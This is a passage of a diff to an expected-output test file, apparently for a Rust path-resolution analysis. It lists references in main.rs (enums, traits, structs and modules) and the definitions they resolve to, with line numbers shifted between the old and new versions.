MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:134:17:134:25 | ...::B | main.rs:124:23:125:20 | B | -| main.rs:135:9:135:14 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:135:9:135:17 | ...::C | main.rs:125:23:126:9 | C | -| main.rs:145:13:145:13 | f | main.rs:152:5:154:5 | fn f | -| main.rs:146:13:146:16 | Self | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:146:13:146:19 | ...::f | main.rs:141:9:141:20 | fn f | -| main.rs:157:10:157:16 | MyTrait | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:157:22:157:29 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:160:13:160:13 | f | main.rs:152:5:154:5 | fn f | -| main.rs:161:13:161:16 | Self | main.rs:156:5:167:5 | impl MyTrait for MyStruct { ... } | -| main.rs:161:13:161:19 | ...::g | main.rs:164:9:166:9 | fn g | -| main.rs:170:10:170:17 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:173:13:173:13 | f | main.rs:152:5:154:5 | fn f | -| main.rs:179:17:179:24 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:180:9:180:15 | MyTrait | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:180:9:180:18 | ...::f | main.rs:141:9:141:20 | fn f | -| main.rs:181:9:181:16 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:181:9:181:19 | ...::f | main.rs:157:33:162:9 | fn f | -| main.rs:182:10:182:17 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:183:10:183:16 | MyTrait | main.rs:140:5:148:5 | trait MyTrait | -| main.rs:186:17:186:24 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:188:17:188:24 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:190:9:190:16 | MyStruct | main.rs:150:5:150:22 | struct MyStruct | -| main.rs:190:9:190:19 | ...::h | main.rs:170:21:174:9 | fn h | -| main.rs:199:19:199:22 | self | main.rs:195:1:203:1 | mod m9 | -| main.rs:199:19:199:32 | ...::MyStruct | main.rs:196:5:196:26 | struct MyStruct | -| main.rs:201:9:201:12 | self | main.rs:195:1:203:1 | mod m9 | -| main.rs:201:9:201:22 | ...::MyStruct | main.rs:196:5:196:26 | struct MyStruct | -| main.rs:211:12:211:12 | T | main.rs:208:7:208:7 | T | -| main.rs:216:12:216:12 | T | main.rs:215:14:215:14 | T | -| main.rs:218:7:220:7 | MyStruct::<...> | main.rs:206:5:212:5 | struct MyStruct | -| main.rs:219:9:219:9 | T | main.rs:215:14:215:14 | T | -| main.rs:222:9:222:16 | MyStruct | main.rs:206:5:212:5 | struct MyStruct | -| main.rs:232:17:232:19 | Foo | main.rs:227:5:227:21 | struct Foo | -| main.rs:233:9:233:11 | Foo | main.rs:229:5:229:15 | fn Foo | -| main.rs:242:9:242:11 | Bar | main.rs:238:5:240:5 | enum Bar | -| main.rs:242:9:242:19 | ...::FooBar | main.rs:239:9:239:17 | FooBar | -| main.rs:247:13:247:15 | Foo | main.rs:227:5:227:21 | struct Foo | -| main.rs:248:17:248:22 | FooBar | main.rs:239:9:239:17 | FooBar | -| main.rs:249:17:249:22 | FooBar | main.rs:244:5:244:18 | fn FooBar | -| main.rs:257:9:257:9 | E | main.rs:252:15:255:5 | enum E | -| main.rs:257:9:257:12 | ...::C | main.rs:254:9:254:9 | C | -| main.rs:260:17:260:17 | S | main.rs:252:5:252:13 | struct S | -| main.rs:261:17:261:17 | C | main.rs:254:9:254:9 | C | -| main.rs:274:16:274:16 | T | main.rs:268:7:268:7 | T | -| main.rs:275:14:275:17 | Self | main.rs:266:5:276:5 | trait MyParamTrait | -| main.rs:275:14:275:33 | ...::AssociatedType | main.rs:270:9:270:28 | type AssociatedType | -| main.rs:284:13:284:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:284:13:284:22 | ...::m13 | main.rs:279:1:292:1 | mod m13 | -| main.rs:284:13:284:25 | ...::f | main.rs:280:5:280:17 | fn f | -| main.rs:284:13:284:25 | ...::f | main.rs:280:19:281:19 | struct f | -| main.rs:287:17:287:17 | f | main.rs:280:19:281:19 | struct f | -| main.rs:288:21:288:21 | f | main.rs:280:19:281:19 | struct f | -| main.rs:289:13:289:13 | f | main.rs:280:5:280:17 | fn f | -| main.rs:303:9:303:14 | Trait1 | main.rs:295:5:299:5 | trait Trait1 | -| main.rs:306:13:306:16 | Self | main.rs:301:5:309:5 | trait Trait2 | -| main.rs:306:13:306:19 | ...::g | main.rs:298:9:298:20 | fn g | -| main.rs:314:10:314:15 | Trait1 | main.rs:295:5:299:5 | trait Trait1 | -| main.rs:315:11:315:11 | S | main.rs:311:5:311:13 | struct S | -| main.rs:318:13:318:16 | Self | main.rs:313:5:325:5 | impl Trait1 for S { ... } | -| main.rs:318:13:318:19 | ...::g | main.rs:322:9:324:9 | fn g | -| main.rs:328:10:328:15 | Trait2 | main.rs:301:5:309:5 | trait Trait2 | -| main.rs:329:11:329:11 | S | main.rs:311:5:311:13 | struct S | -| main.rs:338:17:338:17 | S | main.rs:311:5:311:13 | struct S | -| main.rs:339:10:339:10 | S | main.rs:311:5:311:13 | struct S | -| main.rs:340:14:340:19 | Trait1 | main.rs:295:5:299:5 | trait Trait1 | -| main.rs:342:10:342:10 | S | main.rs:311:5:311:13 | struct S | -| main.rs:343:14:343:19 | Trait2 | main.rs:301:5:309:5 | trait Trait2 | -| main.rs:345:9:345:9 | S | main.rs:311:5:311:13 | struct S | -| main.rs:345:9:345:12 | ...::g | main.rs:322:9:324:9 | fn g | -| main.rs:355:24:355:24 | T | main.rs:353:7:353:7 | T | -| main.rs:357:24:357:24 | T | main.rs:353:7:353:7 | T | -| main.rs:360:24:360:24 | T | main.rs:353:7:353:7 | T | -| main.rs:361:13:361:16 | Self | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:361:13:361:19 | ...::g | main.rs:357:9:358:9 | fn g | -| main.rs:365:18:365:18 | T | main.rs:353:7:353:7 | T | -| main.rs:373:9:375:9 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:374:11:374:11 | T | main.rs:371:7:371:7 | T | -| main.rs:376:24:376:24 | T | main.rs:371:7:371:7 | T | -| main.rs:378:13:378:16 | Self | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:378:13:378:19 | ...::g | main.rs:357:9:358:9 | fn g | -| main.rs:380:13:380:16 | Self | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:380:13:380:19 | ...::c | main.rs:365:9:366:9 | Const | -| main.rs:387:10:389:5 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:388:7:388:7 | S | main.rs:384:5:384:13 | struct S | -| main.rs:390:11:390:11 | S | main.rs:384:5:384:13 | struct S | -| main.rs:391:24:391:24 | S | main.rs:384:5:384:13 | struct S | -| main.rs:393:13:393:16 | Self | main.rs:386:5:404:5 | impl Trait1::<...> for S { ... } | -| main.rs:393:13:393:19 | ...::g | main.rs:397:9:400:9 | fn g | -| main.rs:397:24:397:24 | S | main.rs:384:5:384:13 | struct S | -| main.rs:399:13:399:16 | Self | main.rs:386:5:404:5 | impl Trait1::<...> for S { ... } | -| main.rs:399:13:399:19 | ...::c | main.rs:402:9:403:9 | Const | -| main.rs:402:18:402:18 | S | main.rs:384:5:384:13 | struct S | -| main.rs:402:22:402:22 | S | main.rs:384:5:384:13 | struct S | -| main.rs:407:10:409:5 | Trait2::<...> | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:408:7:408:7 | S | main.rs:384:5:384:13 | struct S | -| main.rs:410:11:410:11 | S | main.rs:384:5:384:13 | struct S | -| main.rs:411:24:411:24 | S | main.rs:384:5:384:13 | struct S | -| main.rs:413:13:413:16 | Self | main.rs:406:5:415:5 | impl Trait2::<...> for S { ... } | -| main.rs:420:17:420:17 | S | main.rs:384:5:384:13 | struct S | -| main.rs:421:10:421:10 | S | main.rs:384:5:384:13 | struct S | -| main.rs:422:14:424:11 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:423:13:423:13 | S | main.rs:384:5:384:13 | struct S | -| main.rs:426:10:426:10 | S | main.rs:384:5:384:13 | struct S | -| main.rs:427:14:429:11 | Trait2::<...> | main.rs:369:5:382:5 | trait Trait2 | -| main.rs:428:13:428:13 | S | main.rs:384:5:384:13 | struct S | -| main.rs:431:9:431:9 | S | main.rs:384:5:384:13 | struct S | -| main.rs:431:9:431:12 | ...::g | main.rs:397:9:400:9 | fn g | -| main.rs:433:9:433:9 | S | main.rs:384:5:384:13 | struct S | -| main.rs:433:9:433:12 | ...::h | main.rs:360:9:363:9 | fn h | -| main.rs:435:9:435:9 | S | main.rs:384:5:384:13 | struct S | -| main.rs:435:9:435:12 | ...::c | main.rs:402:9:403:9 | Const | -| main.rs:436:10:436:10 | S | main.rs:384:5:384:13 | struct S | -| main.rs:437:14:439:11 | Trait1::<...> | main.rs:351:5:367:5 | trait Trait1 | -| main.rs:438:13:438:13 | S | main.rs:384:5:384:13 | struct S | -| main.rs:452:10:452:16 | MyTrait | main.rs:445:5:447:5 | trait MyTrait | -| main.rs:453:9:453:9 | S | main.rs:449:5:449:13 | struct S | -| main.rs:461:7:461:13 | MyTrait | main.rs:445:5:447:5 | trait MyTrait | -| main.rs:462:10:462:10 | T | main.rs:460:10:460:10 | T | -| main.rs:464:9:464:9 | T | main.rs:460:10:460:10 | T | -| main.rs:464:9:464:12 | ...::f | main.rs:446:9:446:20 | fn f | -| main.rs:465:9:465:15 | MyTrait | main.rs:445:5:447:5 | trait MyTrait | -| main.rs:465:9:465:18 | ...::f | main.rs:446:9:446:20 | fn f | -| main.rs:470:9:470:9 | g | main.rs:459:5:466:5 | fn g | -| main.rs:471:11:471:11 | S | main.rs:449:5:449:13 | struct S | -| main.rs:489:17:489:21 | super | main.rs:481:5:493:5 | mod m19 | -| main.rs:489:17:489:24 | ...::f | main.rs:482:9:484:9 | fn f | -| main.rs:490:17:490:21 | super | main.rs:481:5:493:5 | mod m19 | -| main.rs:490:17:490:28 | ...::super | main.rs:476:1:494:1 | mod m18 | -| main.rs:490:17:490:31 | ...::f | main.rs:477:5:479:5 | fn f | -| main.rs:507:13:507:17 | super | main.rs:496:1:521:1 | mod m21 | -| main.rs:507:13:507:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | -| main.rs:507:13:507:30 | ...::MyEnum | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:508:13:508:16 | self | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:512:13:512:17 | super | main.rs:496:1:521:1 | mod m21 | -| main.rs:512:13:512:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | -| main.rs:512:13:512:32 | ...::MyStruct | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:513:13:513:16 | self | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:517:21:517:26 | MyEnum | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:517:21:517:29 | ...::A | main.rs:499:13:499:13 | A | -| main.rs:518:21:518:28 | MyStruct | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:534:10:536:5 | Trait1::<...> | main.rs:524:5:529:5 | trait Trait1 | -| main.rs:535:7:535:10 | Self | main.rs:531:5:531:13 | struct S | -| main.rs:537:11:537:11 | S | main.rs:531:5:531:13 | struct S | -| main.rs:545:17:545:17 | S | main.rs:531:5:531:13 | struct S | -| main.rs:561:15:561:15 | T | main.rs:560:26:560:26 | T | -| main.rs:566:9:566:24 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:566:23:566:23 | T | main.rs:565:10:565:10 | T | -| main.rs:568:9:568:9 | T | main.rs:565:10:565:10 | T | -| main.rs:568:12:568:17 | TraitA | main.rs:551:5:553:5 | trait TraitA | -| main.rs:577:9:577:24 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:577:23:577:23 | T | main.rs:576:10:576:10 | T | -| main.rs:579:9:579:9 | T | main.rs:576:10:576:10 | T | -| main.rs:579:12:579:17 | TraitB | main.rs:555:5:557:5 | trait TraitB | -| main.rs:580:9:580:9 | T | main.rs:576:10:576:10 | T | -| main.rs:580:12:580:17 | TraitA | main.rs:551:5:553:5 | trait TraitA | -| main.rs:591:10:591:15 | TraitA | main.rs:551:5:553:5 | trait TraitA | -| main.rs:591:21:591:31 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:598:10:598:15 | TraitB | main.rs:555:5:557:5 | trait TraitB | -| main.rs:598:21:598:31 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:606:24:606:34 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:607:23:607:35 | GenericStruct | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:613:9:613:36 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:613:9:613:50 | ...::call_trait_a | main.rs:570:9:572:9 | fn call_trait_a | -| main.rs:613:25:613:35 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:616:9:616:36 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:616:9:616:47 | ...::call_both | main.rs:582:9:585:9 | fn call_both | -| main.rs:616:25:616:35 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:621:5:621:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:621:5:621:14 | ...::nested | my.rs:1:1:1:15 | mod nested | -| main.rs:621:5:621:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | -| main.rs:621:5:621:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | -| main.rs:621:5:621:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | -| main.rs:622:5:622:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:622:5:622:9 | ...::f | my.rs:5:1:7:1 | fn f | -| main.rs:623:5:623:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | -| main.rs:623:5:623:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | -| main.rs:623:5:623:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | -| main.rs:623:5:623:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:624:5:624:5 | f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:625:5:625:5 | g | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:626:5:626:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:626:5:626:12 | ...::h | main.rs:50:1:69:1 | fn h | -| main.rs:627:5:627:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:627:5:627:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:627:5:627:13 | ...::g | main.rs:23:9:27:9 | fn g | -| main.rs:628:5:628:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:628:5:628:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:628:5:628:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | -| main.rs:628:5:628:17 | ...::h | main.rs:30:27:34:13 | fn h | -| main.rs:629:5:629:6 | m4 | main.rs:39:1:46:1 | mod m4 | -| main.rs:629:5:629:9 | ...::i | main.rs:42:5:45:5 | fn i | -| main.rs:630:5:630:5 | h | main.rs:50:1:69:1 | fn h | -| main.rs:631:5:631:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:632:5:632:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:633:5:633:5 | j | main.rs:97:1:101:1 | fn j | -| main.rs:634:5:634:6 | m6 | main.rs:109:1:120:1 | mod m6 | -| main.rs:634:5:634:9 | ...::g | main.rs:114:5:119:5 | fn g | -| main.rs:635:5:635:6 | m7 | main.rs:122:1:137:1 | mod m7 | -| main.rs:635:5:635:9 | ...::f | main.rs:129:5:136:5 | fn f | -| main.rs:636:5:636:6 | m8 | main.rs:139:1:193:1 | mod m8 | -| main.rs:636:5:636:9 | ...::g | main.rs:177:5:192:5 | fn g | -| main.rs:637:5:637:6 | m9 | main.rs:195:1:203:1 | mod m9 | -| main.rs:637:5:637:9 | ...::f | main.rs:198:5:202:5 | fn f | -| main.rs:638:5:638:7 | m11 | main.rs:226:1:263:1 | mod m11 | -| main.rs:638:5:638:10 | ...::f | main.rs:231:5:234:5 | fn f | -| main.rs:639:5:639:7 | m15 | main.rs:294:1:348:1 | mod m15 | -| main.rs:639:5:639:10 | ...::f | main.rs:335:5:347:5 | fn f | -| main.rs:640:5:640:7 | m16 | main.rs:350:1:442:1 | mod m16 | -| main.rs:640:5:640:10 | ...::f | main.rs:417:5:441:5 | fn f | -| main.rs:641:5:641:7 | m17 | main.rs:444:1:474:1 | mod m17 | -| main.rs:641:5:641:10 | ...::f | main.rs:468:5:473:5 | fn f | -| main.rs:642:5:642:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | -| main.rs:642:5:642:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | -| main.rs:643:5:643:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | -| main.rs:643:5:643:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | -| main.rs:644:5:644:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | -| main.rs:644:5:644:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | -| main.rs:645:5:645:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| main.rs:646:5:646:7 | m18 | main.rs:476:1:494:1 | mod m18 | -| main.rs:646:5:646:12 | ...::m19 | main.rs:481:5:493:5 | mod m19 | -| main.rs:646:5:646:17 | ...::m20 | main.rs:486:9:492:9 | mod m20 | -| main.rs:646:5:646:20 | ...::g | main.rs:487:13:491:13 | fn g | -| main.rs:647:5:647:7 | m23 | main.rs:523:1:548:1 | mod m23 | -| main.rs:647:5:647:10 | ...::f | main.rs:543:5:547:5 | fn f | -| main.rs:648:5:648:7 | m24 | main.rs:550:1:618:1 | mod m24 | -| main.rs:648:5:648:10 | ...::f | main.rs:604:5:617:5 | fn f | +| main.rs:134:19:134:24 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:137:17:137:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:137:17:137:25 | ...::A | main.rs:124:9:126:9 | A | +| main.rs:138:17:138:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:138:17:138:25 | ...::B | main.rs:126:12:129:9 | B | +| main.rs:139:9:139:14 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:139:9:139:17 | ...::C | main.rs:129:12:130:9 | C | +| main.rs:149:13:149:13 | f | main.rs:156:5:158:5 | fn f | +| main.rs:150:13:150:16 | Self | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:150:13:150:19 | ...::f | main.rs:145:9:145:20 | fn f | +| main.rs:161:10:161:16 | MyTrait | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:161:22:161:29 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:164:13:164:13 | f | main.rs:156:5:158:5 | fn f | +| main.rs:165:13:165:16 | Self | main.rs:160:5:171:5 | impl MyTrait for MyStruct { ... } | +| main.rs:165:13:165:19 | ...::g | main.rs:168:9:170:9 | fn g | +| main.rs:174:10:174:17 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:177:13:177:13 | f | main.rs:156:5:158:5 | fn f | +| main.rs:183:17:183:24 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:184:9:184:15 | MyTrait | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:184:9:184:18 | ...::f | main.rs:145:9:145:20 | fn f | +| main.rs:185:9:185:16 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:185:9:185:19 | ...::f | main.rs:161:33:166:9 | fn f | +| main.rs:186:10:186:17 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:187:10:187:16 | MyTrait | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:190:17:190:24 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:192:17:192:24 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:194:9:194:16 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:194:9:194:19 | ...::h | main.rs:174:21:178:9 | fn h | +| main.rs:203:19:203:22 | self | main.rs:199:1:207:1 | mod m9 | +| main.rs:203:19:203:32 | ...::MyStruct | main.rs:200:5:200:26 | struct MyStruct | +| main.rs:205:9:205:12 | self | main.rs:199:1:207:1 | mod m9 | +| main.rs:205:9:205:22 | ...::MyStruct | main.rs:200:5:200:26 | struct MyStruct | +| main.rs:215:12:215:12 | T | main.rs:212:7:212:7 | T | +| main.rs:220:12:220:12 | T | main.rs:219:14:219:14 | T | +| main.rs:222:7:224:7 | MyStruct::<...> | main.rs:210:5:216:5 | struct MyStruct | +| main.rs:223:9:223:9 | T | main.rs:219:14:219:14 | T | +| main.rs:226:9:226:16 | MyStruct | main.rs:210:5:216:5 | struct MyStruct | +| main.rs:236:17:236:19 | Foo | main.rs:231:5:231:21 | struct Foo | +| main.rs:237:9:237:11 | Foo | main.rs:233:5:233:15 | fn Foo | +| main.rs:246:9:246:11 | Bar | main.rs:242:5:244:5 | enum Bar | +| main.rs:246:9:246:19 | ...::FooBar | main.rs:243:9:243:17 | FooBar | +| main.rs:251:13:251:15 | Foo | main.rs:231:5:231:21 | struct Foo | +| main.rs:252:17:252:22 | FooBar | main.rs:243:9:243:17 | FooBar | +| main.rs:253:17:253:22 | FooBar | main.rs:248:5:248:18 | fn FooBar | +| main.rs:261:9:261:9 | E | main.rs:256:15:259:5 | enum E | +| main.rs:261:9:261:12 | ...::C | main.rs:258:9:258:9 | C | +| main.rs:264:17:264:17 | S | main.rs:256:5:256:13 | struct S | +| main.rs:265:17:265:17 | C | main.rs:258:9:258:9 | C | +| main.rs:278:16:278:16 | T | main.rs:272:7:272:7 | T | +| main.rs:279:14:279:17 | Self | main.rs:270:5:280:5 | trait MyParamTrait | +| main.rs:279:14:279:33 | ...::AssociatedType | main.rs:274:9:274:28 | type AssociatedType | +| main.rs:288:13:288:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:288:13:288:22 | ...::m13 | main.rs:283:1:296:1 | mod m13 | +| main.rs:288:13:288:25 | ...::f | main.rs:284:5:284:17 | fn f | +| main.rs:288:13:288:25 | ...::f | main.rs:284:19:285:19 | struct f | +| main.rs:291:17:291:17 | f | main.rs:284:19:285:19 | struct f | +| main.rs:292:21:292:21 | f | main.rs:284:19:285:19 | struct f | +| main.rs:293:13:293:13 | f | main.rs:284:5:284:17 | fn f | +| main.rs:307:9:307:14 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | +| main.rs:310:13:310:16 | Self | main.rs:305:5:313:5 | trait Trait2 | +| main.rs:310:13:310:19 | ...::g | main.rs:302:9:302:20 | fn g | +| main.rs:318:10:318:15 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | +| main.rs:319:11:319:11 | S | main.rs:315:5:315:13 | struct S | +| main.rs:322:13:322:16 | Self | main.rs:317:5:329:5 | impl Trait1 for S { ... } | +| main.rs:322:13:322:19 | ...::g | main.rs:326:9:328:9 | fn g | +| main.rs:332:10:332:15 | Trait2 | main.rs:305:5:313:5 | trait Trait2 | +| main.rs:333:11:333:11 | S | main.rs:315:5:315:13 | struct S | +| main.rs:342:17:342:17 | S | main.rs:315:5:315:13 | struct S | +| main.rs:343:10:343:10 | S | main.rs:315:5:315:13 | struct S | +| main.rs:344:14:344:19 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | +| main.rs:346:10:346:10 | S | main.rs:315:5:315:13 | struct S | +| main.rs:347:14:347:19 | Trait2 | main.rs:305:5:313:5 | trait Trait2 | +| main.rs:349:9:349:9 | S | main.rs:315:5:315:13 | struct S | +| main.rs:349:9:349:12 | ...::g | main.rs:326:9:328:9 | fn g | +| main.rs:359:24:359:24 | T | main.rs:357:7:357:7 | T | +| main.rs:361:24:361:24 | T | main.rs:357:7:357:7 | T | +| main.rs:364:24:364:24 | T | main.rs:357:7:357:7 | T | +| main.rs:365:13:365:16 | Self | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:365:13:365:19 | ...::g | main.rs:361:9:362:9 | fn g | +| main.rs:369:18:369:18 | T | main.rs:357:7:357:7 | T | +| main.rs:377:9:379:9 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:378:11:378:11 | T | main.rs:375:7:375:7 | T | +| main.rs:380:24:380:24 | T | main.rs:375:7:375:7 | T | +| main.rs:382:13:382:16 | Self | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:382:13:382:19 | ...::g | main.rs:361:9:362:9 | fn g | +| main.rs:384:13:384:16 | Self | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:384:13:384:19 | ...::c | main.rs:369:9:370:9 | Const | +| main.rs:391:10:393:5 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:392:7:392:7 | S | main.rs:388:5:388:13 | struct S | +| main.rs:394:11:394:11 | S | main.rs:388:5:388:13 | struct S | +| main.rs:395:24:395:24 | S | main.rs:388:5:388:13 | struct S | +| main.rs:397:13:397:16 | Self | main.rs:390:5:408:5 | impl Trait1::<...> for S { ... } | +| main.rs:397:13:397:19 | ...::g | main.rs:401:9:404:9 | fn g | +| main.rs:401:24:401:24 | S | main.rs:388:5:388:13 | struct S | +| main.rs:403:13:403:16 | Self | main.rs:390:5:408:5 | impl Trait1::<...> for S { ... } | +| main.rs:403:13:403:19 | ...::c | main.rs:406:9:407:9 | Const | +| main.rs:406:18:406:18 | S | main.rs:388:5:388:13 | struct S | +| main.rs:406:22:406:22 | S | main.rs:388:5:388:13 | struct S | +| main.rs:411:10:413:5 | Trait2::<...> | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:412:7:412:7 | S | main.rs:388:5:388:13 | struct S | +| main.rs:414:11:414:11 | S | main.rs:388:5:388:13 | struct S | +| main.rs:415:24:415:24 | S | main.rs:388:5:388:13 | struct S | +| main.rs:417:13:417:16 | Self | main.rs:410:5:419:5 | impl Trait2::<...> for S { ... } | +| main.rs:424:17:424:17 | S | main.rs:388:5:388:13 | struct S | +| main.rs:425:10:425:10 | S | main.rs:388:5:388:13 | struct S | +| main.rs:426:14:428:11 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:427:13:427:13 | S | main.rs:388:5:388:13 | struct S | +| main.rs:430:10:430:10 | S | main.rs:388:5:388:13 | struct S | +| main.rs:431:14:433:11 | Trait2::<...> | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:432:13:432:13 | S | main.rs:388:5:388:13 | struct S | +| main.rs:435:9:435:9 | S | main.rs:388:5:388:13 | struct S | +| main.rs:435:9:435:12 | ...::g | main.rs:401:9:404:9 | fn g | +| main.rs:437:9:437:9 | S | main.rs:388:5:388:13 | struct S | +| main.rs:437:9:437:12 | ...::h | main.rs:364:9:367:9 | fn h | +| main.rs:439:9:439:9 | S | main.rs:388:5:388:13 | struct S | +| main.rs:439:9:439:12 | ...::c | main.rs:406:9:407:9 | Const | +| main.rs:440:10:440:10 | S | main.rs:388:5:388:13 | struct S | +| main.rs:441:14:443:11 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:442:13:442:13 | S | main.rs:388:5:388:13 | struct S | +| main.rs:456:10:456:16 | MyTrait | main.rs:449:5:451:5 | trait MyTrait | +| main.rs:457:9:457:9 | S | main.rs:453:5:453:13 | struct S | +| main.rs:465:7:465:13 | MyTrait | main.rs:449:5:451:5 | trait MyTrait | +| main.rs:466:10:466:10 | T | main.rs:464:10:464:10 | T | +| main.rs:468:9:468:9 | T | main.rs:464:10:464:10 | T | +| main.rs:468:9:468:12 | ...::f | main.rs:450:9:450:20 | fn f | +| main.rs:469:9:469:15 | MyTrait | main.rs:449:5:451:5 | trait MyTrait | +| main.rs:469:9:469:18 | ...::f | main.rs:450:9:450:20 | fn f | +| main.rs:474:9:474:9 | g | main.rs:463:5:470:5 | fn g | +| main.rs:475:11:475:11 | S | main.rs:453:5:453:13 | struct S | +| main.rs:493:17:493:21 | super | main.rs:485:5:497:5 | mod m19 | +| main.rs:493:17:493:24 | ...::f | main.rs:486:9:488:9 | fn f | +| main.rs:494:17:494:21 | super | main.rs:485:5:497:5 | mod m19 | +| main.rs:494:17:494:28 | ...::super | main.rs:480:1:498:1 | mod m18 | +| main.rs:494:17:494:31 | ...::f | main.rs:481:5:483:5 | fn f | +| main.rs:511:13:511:17 | super | main.rs:500:1:525:1 | mod m21 | +| main.rs:511:13:511:22 | ...::m22 | main.rs:501:5:507:5 | mod m22 | +| main.rs:511:13:511:30 | ...::MyEnum | main.rs:502:9:504:9 | enum MyEnum | +| main.rs:512:13:512:16 | self | main.rs:502:9:504:9 | enum MyEnum | +| main.rs:516:13:516:17 | super | main.rs:500:1:525:1 | mod m21 | +| main.rs:516:13:516:22 | ...::m22 | main.rs:501:5:507:5 | mod m22 | +| main.rs:516:13:516:32 | ...::MyStruct | main.rs:506:9:506:28 | struct MyStruct | +| main.rs:517:13:517:16 | self | main.rs:506:9:506:28 | struct MyStruct | +| main.rs:521:21:521:26 | MyEnum | main.rs:502:9:504:9 | enum MyEnum | +| main.rs:521:21:521:29 | ...::A | main.rs:503:13:503:13 | A | +| main.rs:522:21:522:28 | MyStruct | 